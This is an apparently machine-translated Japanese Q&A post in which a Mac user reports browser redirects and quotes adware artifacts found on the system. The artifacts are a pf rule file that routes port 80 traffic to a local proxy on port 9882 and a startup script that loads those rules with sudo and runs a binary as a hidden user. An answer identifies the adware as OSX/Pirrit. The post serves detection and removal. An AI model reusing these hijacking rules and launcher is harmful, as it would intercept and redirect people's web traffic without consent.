☰

擬似恐怖症プロセス Mac

tag-icon • tag-icon macos malware malware-removal
擬似恐怖症プロセス Mac

最近、MBP 10.10.5 Yosemite で Web ページを閲覧しているときに、Chrome Canary バージョン 53 が新しいタブを開いたり、一部のページが開かなかったりすることに気付きました。このタブはランダムなページにリダイレクトしていました。

ファイアウォールを有効化したところ、pseudohydrophobiaというプロセスが着信接続を開こうとしていることに気付きました。

/etc/擬似ハイドロフォビア.conf

    rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
    pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
    pass out proto tcp all user volutate

/etc/擬似ハイドロフォビア.sh

#!/bin/sh

if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0

ポート:

netstat -an | grep 9882
tcp4       0      0  *.9882                 *.*                    LISTEN

/etc/擬似ハイドロフォビア.conf

rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate

このスクリプトとバイナリはすべて削除しますが、Google 参照が見つからなかったので投稿します。

答え1

を見てみましょうhttps://objective-see.com/blog/blog_0x0E.html

侵入型クロスプラットフォーム アドウェアの分析: OSX/Pirrit

それはPirritマルウェアである可能性があります。

ユーザー名volutateとファイル名 ( pseudohydrophobia) は間違いなくランダムに生成されますが、ポート番号 9882 は同じです...

関連情報